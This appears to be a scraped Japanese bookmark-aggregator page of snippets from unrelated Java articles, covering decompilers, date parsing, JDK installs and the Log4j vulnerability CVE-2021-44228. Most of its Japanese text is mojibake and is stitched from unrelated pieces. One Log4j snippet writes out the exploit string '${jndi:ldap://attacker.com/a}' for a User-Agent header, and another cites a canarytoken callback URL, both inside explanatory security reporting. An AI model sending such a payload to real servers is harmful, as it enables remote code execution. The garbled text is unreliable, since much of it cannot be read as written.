Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article?
jarãã¡ã¤ã«ãè§£æããå ´é¢ã«åºãããã¾ããã ããã¾ã§ã¯ãjd-guiãã使ã£ã¦ããã®ã§ãããã½ã¼ã¹ã³ã¼ãã®åå¾ä¸ã«å¦çãæ¢ã¾ãç¾è±¡ãçºçããã®ã§ããjd-guiã以å¤ã®æ¹æ³ã«ã¤ãã¦èª¿ã¹ã¾ããã çºçããã¨ã©ã¼ã³ã¼ããå«ããä»å¾ã®ããã«ã¡ã¢ãæ®ãã¦ããã¾ãã ç®æ¬¡ ãã¼ã« jd-gui jad jadx åèURL é¢é£æ¬ ãã¼ã« jd-gui java-decompiler.github.io GUIç°å¢ããããç¹ã«èª¬æãè¦ãªãã¦ãæä½ãã§ãããããã·ã³ãã«ã«ä½¿ãã¾ãã ããããGUIã¡ãã¥ã¼ãããsave all resourcesãjarãã復å ããjavaã³ã¼ããä¿åãããã¨ããã¨ãéä¸ã§å¦çãæ¢ã¾ããã¨ãããã¾ããã 2019/10ææç¹ã§ã®ææ°ãã¼ã¸ã§ã³ã¯ã1.6.3ã§ã1.6.2ã§ãåãåé¡ãçºçãããã¨ã確èªãã¦ãã¾ãã 調ã¹ã¦ã¿ãã¨ããã®åé¡ã¯æ°å¹´åããstack ov
ã¯ããã« ä»åã¯JAVAã®ãã³ã³ãã¤ã«ããã¦ã¿ããã¨ããè¨äºã«ãªãã¾ãï¼ ãããã§èª¿ã¹ã¦ã¿ãã¨Jadãç¨ããè¨äºãã»ã¨ãã©ã§ãããããªãããã¾ãã§ãã¾ããã§ããã ããã§ããå°ãæ¢ãã¦ã¿ãã¨Java Decompilerã¨ããGUIãã¼ã¹ã§ãã³ã³ãã¤ã«ã§ããè¯ããããªãã®ãè¦ã¤ãã¾ããã ãã¡ãã使ã£ã¦.jarï¼.classããã³ã³ãã¤ã«ãã¦ããããã¨æãã¾ãã ã¯ããã« ãã¦ã³ãã¼ã ä½¿ãæ¹ ãããã« ãã¦ã³ãã¼ã ãã¡ãã®ãµã¤ããããã¦ã³ãã¼ãããã¾ãã java-decompiler.github.io ç§ã¯Eclipseãããå§åçVSCodeæ´¾ãªã®ã§ããã©ã°ã¤ã³ã§ã¯ãªãã¹ã¿ã³ãã¢ãã³çã®JD-GUIã鏿ã è§£åããã°OKã§ãã ä½¿ãæ¹ ä½¿ãæ¹ã¯ç°¡åã§ãä¸èº«ãã¿ãã.jarã.classãéãã°ä¸èº«ãè¦ããã¯ãã§ãã ãããã« ãããªç°¡åã«ãã³ã³ãã¤ã«ãã§ãããªãã¦é©ãã§ããã
2013å¹´ã«ã¯2æ29æ¥ãããã¾ããããSimpleDateFormat ã§å³å¯ãªè§£æãè¡ããªãï¼ããã©ã«ãã®ï¼å ´åãåæã«2013å¹´3æ1æ¥ã¨è§£éãã¦ããã¾ãã public class DateSample { public static void main(String[] args) { DateFormat dt = new SimpleDateFormat("yyyyMMdd"); try { System.out.println(dt.parseObject("20130229")); } catch (ParseException e) { System.out.println("Dateåã«å¤æã§ãã¾ããï¼ï¼"); } } } å®è¡çµæ Fri Mar 01 00:00:00 JST 2013 æ¥ä»ãæå»ãå³å¯ã«ãã§ãã¯ããã«ã¯ãsetLenient ã¡ã½ããã« fals
ããã«ã¡ã¯ããããï¼ æ±äº¬ã§ãã 2017/05/23ã«æ°ã¥ããã®ã§ãããcurlãwgetã§å®è¡ãã¦ããOracleJDKã®åå¾ã§ã¨ã©ã¼ãåºãããã«ãªã£ã¦ãã¾ããå æ¥(2017/05/22)ããChefã§ãåããããªç¾è±¡ããããã¨ãStackoverflowã§ç¢ºèªãã¾ããã ããããæ å½ãã¦ããããã¸ã§ã¯ãã§ãGoldenAMI使ã§ä½¿ç¨ãã¦ããAnsibleã§OracleJDKã®ã¤ã³ã¹ãã¼ã«ã«å¤±æãããããåå ã調æ»ãã¦ãã¾ããã®ã§å ±æãã¾ããèªåã¹ã¯ãªãããªã©ã§OracleJDKãèªåçã«ã¤ã³ã¹ãã¼ã«ãã¦ããæ§æãåã£ã¦ããæ¹ã¯é«ã確çã§å¤±æããã¨æããããããæ³¨æãå¿ è¦ã§ãã Ansibleã®JDKã¤ã³ã¹ãã¼ã«ã§çªç¶ã®æ» Ansibleã§OracleJDKã®ã¤ã³ã¹ãã¼ã«ãè¡ã£ã¦ãã¾ãã2017/05/23çªç¶æ»ãã¾ããã amazon-ebs: TASK **************
ã¿ã° .NET6100åAdBlockAdSenseAlexaAmazon Echo Show 5Amazonã«ã¹ã¿ãã¼ãµãã¼ãAmazon交æASP.NET CoreAssert.Equal()AWS CertifiedAWS Certified Cloud PractitionerAWS Certified Solutions Architect(Associate)Azure ADAzure AD B2CbluetoothBULK INSERTByteArrayContentC#CASIOCertMetricscharsetChromeconoha wingContent-DispositionCSSCSVDAIKINDELLDictionaryEFCoreEntityEntity Framework CoreEqualExceptionexcelF12faceletsFormUrl
Log4j ã§å¼·ããªèå¼±æ§ãçºè¦ããã¾ããã 詳細ã¯çãã¾ãããããæ¡ä»¶å¯ã§ä»»æã®ã³ã¼ããå®è¡ã§ãããããªèå¼±æ§ã§ãã mavenã®ãªãã¸ããªã«ãã£ã¦ã¯ã¾ã 2.15.0ã®ãã¼ã¸ã§ã³ãä¸ãã£ã¦ããªãããã§ãå°ãæããã£ãã®ã§è¨äºã«ãã¾ãã (2021/12/10 13ææç¹) â»èªåãæå±ãããã°ã©ã¹ã§ãä¾åãã¦ããã©ã¤ãã©ãªã§ããããä»ã¯ãã§ã«ä¿®æ£ã¨ãªãªã¼ã¹ãå®äºãã¦ãã¾ãã å½±é¿ã©ã¤ãã©ãªã¨å½±é¿ãã¼ã¸ã§ã³ã¯ log4j-api 㨠log4j-core ã®ã2.0 <= Apache log4j2 <= 2.14.1ãã§ãã 対å¿ã¨ãã¦ã¯ 2.15.0 ã«ä¸ããã°ããããã§ãã ãããã2021/12/10 13æç¾å¨Mavenã®ãµã¤ãã§ã¯2.15.0ãä¸ãã£ã¦ããªãããã«è¦ãã¾ãã ãããããã¡ãã® repo1.maven.orgã®ãªãã¸ããªã«ã¯ããããã§ãç´ ç´ã«2.15.0ãæå®ãã
2021å¹´12æ10æ¥ã«å ±åãããRCEèå¼±æ§(CVE-2021-44228)ããã£ããã«ãLog4J2ã©ã¤ãã©ãªã«å¯¾ãã4ã¤ã®ã»ãã¥ãªãã£ãã¼ã«ã次ã ã¨ææããã¦ãã¾ãããã¹ãããªãããJavaå ¥éãã§å¦ã°ãã¨ã³ã¸ãã¢ã¨ãã¦ãæ´»èºä¸ã®æ¹ã®ä¸ã«ã¯ãèªèº«ãéç¨ä¸ã®ã·ã¹ãã ã«é¢ãã¦ãåèå¼±æ§ã«é¢ãã対å¿ã«ããããã¦ããæ¹ãããã£ãããã¨æããã¾ãã å¯è½ãªãã°ãææ°çï¼v2.17.1)ã«å©ç¨ãã¼ã¸ã§ã³ãå¼ãä¸ããã®ãçæ³ã§ã¯ããã¾ããããã¤ãå æ¥ã«ç·æ¥å¯¾å¿ããã°ãããªã®ã«ãå度ã®ç·æ¥å¯¾å¿ãå¿ è¦ãªã®ããçã対å¦ã夿ãã客æ§ã¸ã®èª¬æã«æ©ã¾ãããã¨ãããããããã¾ããã以ä¸ã®å 容ããå½¹ã«ç«ã¦ã°å¹¸ãã§ãã åæï¼ å ±åããã¦ãã4ã¤ã®èå¼±æ§ 2021å¹´12æ31æ¥ æ¥æ¬æéåå1æç¾å¨ãLog4J2ã«é¢ãã¦å ±åããã¦ãã4ã¤ã®èå¼±æ§ã¯ä»¥ä¸ã®éãã§ãã CVE-2021-44228(æåã®èå¼±æ§, 2
表2 Log4jã®ã¨ã¯ã¹ããã¤ã試è¡ã®ã³ã¼ã«ããã¯URLã§è¦ãããä¸ä½ãã¡ã¤ã³ã¨IPã¢ãã¬ã¹ èå¼±ãªãµã¼ãã¼ã®çºè¦ ç§ãã¡ã観測ããã¤ã³ãã¦ã³ãã®ã¨ã¯ã¹ããã¤ã試è¡ã®å¤ãã¯ãã¨ã¯ã¹ããã¤ãæåãéä¿¡è ã«éç¥ããã¢ã¦ããã¦ã³ããªã¯ã¨ã¹ããéä¿¡ããã ãã®ãã®ã§ããããããã®è©¦ã¿ã®ãã¹ã¦ãã¹ãã£ã³ãç®çã¨ãã¦ããã®ããæªæã®ããã¢ã¯ã¿ã¼ã®åµå¯æ´»åã®ä¸ç°ã§ãã£ãã®ãã¯ç¢ºèªã§ãã¦ãã¾ããããã®ãªãã«ã¯ã³ã¼ã«ããã¯URLã¨ã®æåã®ããã¨ããèå¼±ãªãµã¼ãã¼ã§ãããã¨ã示ãã¨ããã ãã®ã¨ã¯ã¹ããã¤ã試è¡ãããããã®å¤ãã¯ã以ä¸ã®ã³ã¼ã«ããã¯URLã«è¦ããããããªãã«ããªã¢ãã¼ã¯ã³ãã使ç¨ãã¦ãã¾ããã x[hostname].l4j.2sk9753uabgse6xz75tooe5ix.canarytokens[.]com ãã ããã¢ã¯ã¿ã¼ãã³ã¼ã«ããã¯URLããJavaã¯ã©ã¹ããã¼ããã¦å®è¡ãããã¨ã«ãã
JNDI ã¨ã¯Java Naming and Directory Interface ã¨ãããJava ã¢ããªã±ã¼ã·ã§ã³ã DNS ã LDAP çã®ãµã¼ãã¹ãå©ç¨ããããã®æ±ç¨çãªã¤ã³ã¿ãã§ã¼ã¹ (ã©ã¤ãã©ãª) ã§ãã Log4j 㨠JNDI lookupApache Software Foundation ãéçºãããJava ãã¼ã¹ã®ãã®ã³ã°ã«é¢ããã©ã¤ãã©ãªã§ããJNDI lookup ã¨ããæ©è½ããããæ¸ãè¾¼ãã ãã°ã®ä¸é¨ãèªåã§å¤æ°åãã¾ããä»åã¯ãã®æ©è½ãæªç¨ããã¦ãã¾ãã CVE-2021-44228 ã®æ»æã·ã¼ã±ã³ã¹ã®ä¾ æ»æè ã¯èå¼±æ§ãããªã¬ã¼ããããã« http ãããã® User-Agent ã« ${jndi:ldap://attacker.com/a} ã¨ããæååãåãè¾¼ã¿ãhttp ãªã¯ã¨ã¹ããéä¿¡ãã¾ããèå¼±æ§ã®ãããµã¼ãã® Java App ã¯ãã®éä¿¡ã
2021å¹´12æ10æ¥ãJavaãã¼ã¹ã®ãã°åºåã©ã¤ãã©ãªãApache Log4jãã®2.xç³»ãã¼ã¸ã§ã³ï¼ä»¥éã¯Log4j2ã¨è¨è¼ï¼ã§ç¢ºèªãããæ·±å»ãªèå¼±æ§ãä¿®æ£ãããã¼ã¸ã§ã³ãå ¬éããã¾ãããã»ãã¥ãªãã£é¢ä¿çµç¹ã§ã¯éå»è©±é¡ã«ãªã£ãHeartbleedãShellshockã¨åã¬ãã«ã®èå¼±æ§ã¨ãè©ä¾¡ãã¦ãã¾ããããã§ã¯é¢é£ããæ å ±ãã¾ã¨ãã¾ãã ï¼ï¼ä½ãèµ·ããã®ï¼ Javaãã¼ã¹ã®ãã°åºåã©ã¤ãã©ãªLog4j2ã§æ·±å»ãªèå¼±æ§ï¼CVE-2021-44228ï¼ãä¿®æ£ãããã¼ã¸ã§ã³ãå ¬éãããããã®å¾ãä¿®æ£ãä¸å®å ¨ã§ãã£ããã¨ãªã©ãçç±ã«2ä»¶ã®èå¼±æ§ãä¿®æ£ãããã åºãå©ç¨ããã¦ããã©ã¤ãã©ãªã§ããããå½±é¿ãåãã対象ãå¤ãåå¨ããã¨ã¿ãããæ»æã容æã§ãããã¨ãã2014å¹´ã®HeartbleedãShellshock以æ¥ã®å±éºæ§ãããã¨ã¿ãåãããããThe Apache Software
èæ¯ ããWebã¢ããªã±ã¼ã·ã§ã³ã§ã¯ãAWSãµã¼ãã¹(S3ãSESãAPI-GatewayãLambdaç)ãå©ç¨ãã¦ãã¾ãã éçºè¨èªã¯Javaãªã®ã§Javaç¨ã®AWS-SDK(1.11.560)ã使ç¨ãã¦ãã¾ãã åé¡ç¹ ã¢ããªã±ã¼ã·ã§ã³ã«SDKãå ¨ä½ãããªã³ã¯ãã¦ãã¾ã£ã¦ãã¾ããã jarãã¡ã¤ã«ã®æ°ã§ããã¨ãªãã¨171å(version560ã®å ´å) <dependency> <groupId>com.amazonaws</groupId> <artifactId>aws-java-sdk</artifactId> <version>1.11.560</version> </dependency> 対çã¨å¹æ Javaã®AWS-SDKã¯1.9.0以éã¯ãæ©è½ãã¨ã«ã©ã¤ãã©ãªãåãè¾¼ã¿ã§ããã®ã§å¿ è¦ãªãã®ã ãå©ç¨ãã¾ãã æ¬ã¢ããªã±ã¼ã·ã§ã³ã§ã¯ãAPI-Gatewayã¨Lambdaã¯
以ä¸ã®ããã«switchã®caseæã®ä¸ã§ãã¼ã«ã«å¤æ°ãå®ç¾©ããã¨ãã®ãã¨ã§ãã switch (dog) { case SHIBA: String name = "æ´å¤ªé"; break; case MAME_SHIBA: String name = "è±å¤ªé"; // "éè¤ãã¼ã«ã«å¤æ°"ã®è¦å break; default: break; } switchæ§æå ã§2åç®ã«åºç¾ããString nameã«ããã¦ã"éè¤ãã¼ã«ã«å¤æ°"ã®è¦åãåºç¾ãã¾ãããã©ãããswitchæ§æå ã¯åä¸ã¹ã³ã¼ããªã®ã§ãã¼ã«ã«å¤æ°ã¯ä½¿ãã¾ãããããã¨ãããã¨ã¿ããã§ãã ãããã£ã¦ã switch (dog) { case SHIBA: String name = "æ´å¤ªé"; break; case MAME_SHIBA: name = "è±å¤ªé"; break; default: break; } ã
ãã¼ã / ãã㯠/ Javaã§ç¹å®ã®ã¨ã©ã¼ä»¥å¤ã®ã¨ãã ãå¦çãããæ¹æ³
ããã°ï¼æ¬ç®ï¼ï¼ ä»åã¯Javaã®ä¾å¤ã§ãé常ã®Exceptionã¨Runtimeç³»Exceptionã®éãã¨ããã°ã®å ã¨ãªããããªæåã«ã¤ãã¦è¨è¼ãã¦ã¿ããã¨æãã¾ãã ã¾ããé常ã®ä¾å¤ã®å®ç¾©æ¹æ³ã以ä¸ã«è¨è¼ãã¦ã¿ã¾ãã ããã¯é常éãã®æåã§ãã å¦çå ã«ã¦ä¾å¤ãçºçããå¯è½æ§ãããå ´åã ã»èªèº«ã®ã¡ã½ããã®ä¸ã§ä¾å¤ãå¦ç ã»å¼ã³åºãå ã«çºçããä¾å¤ãæãã¦ä¸¸æããã ãæ±ºãããã¨ãã§ãã¾ãã 以ä¸ã®ä¾ã§ã¯èªåã§ä½æããExceptionãç¶æ¿ããä¾å¤ã¯ã©ã¹ãthrowãã¦ã¿ã¾ãã å½ç¶ã§ãããthrowsãåãé¤ãã¨ã³ã³ãã¤ã«ã¨ã©ã¼ã¨ãªãã¾ãã ã§ã¯RuntimeExceptionãç¶æ¿ããä¾å¤ã¯ã©ã¹ãthrowããããã«ä¿®æ£ãã¾ãã ä¸è¨ã®ãã£ããã£ãè¦ãã¨ãããã¾ãããthrowããä¾å¤ãRuntimeExceptionãç¶æ¿ããä¾å¤ã¯ã©ã¹ã§ããå ´åãthrows宣è¨ãããªãã¦ã
ç¹å¥ãªæå³ãæã¤æåãã¨ã¹ã±ã¼ããã æ£è¦è¡¨ç¾ã®ãã¿ã¼ã³ã§ä½¿ãããæåã®ä¸ã«ã¯ããã(.)ããã©ã¹(+)ãªã©ã®ããã«ç¹å¥ãªæå³ãæã¤æåãããã¾ãããããã¯ã¡ã¿æåã¨å¼ã°ãã¾ããä¾ãã°æ¬¡ã®ãããªæ£è¦è¡¨ç¾ãªãã©ã«ã§è¦ã¦ã¿ã¾ãã æåã®ã¾ã¾è§£éããã¨ããã®ãã¿ã¼ã³ã¯ãaãã.ããbãã® 3 ã¤ã®æåãé£ç¶ãã¦ããæååã«ãããããããã«è¦ãã¾ãããã ãã¿ã¼ã³ã®ä¸ã§ããã(.)ã¯ä»»æã® 1 æåã¨ãããããã¡ã¿æåã®ããããã® "a.b" ã¨ãããã¿ã¼ã³ã¯ "a" ã§å§ã¾ã "b" ã§çµãã 3 æåã®æååã¨ããããã¾ãããã®ããã "a.b" ã ãã§ãªã "axb" ã "a8b" ãªã©ã®æååã¨ãããããã¾ãã import java.util.regex.*; String regex = "a.b"; Pattern p = Pattern.compile(regex); Matche
ã©ã³ãã³ã°
ã©ã³ãã³ã°
ã©ã³ãã³ã°
ãªãªã¼ã¹ãé害æ å ±ãªã©ã®ãµã¼ãã¹ã®ãç¥ãã
ææ°ã®äººæ°ã¨ã³ããªã¼ã®é ä¿¡
å¦çãå®è¡ä¸ã§ã
j次ã®ããã¯ãã¼ã¯
kåã®ããã¯ãã¼ã¯
lãã¨ã§èªã
eã³ã¡ã³ãä¸è¦§ãéã
oãã¼ã¸ãéã
{{#tags}}- {{label}}
{{/tags}}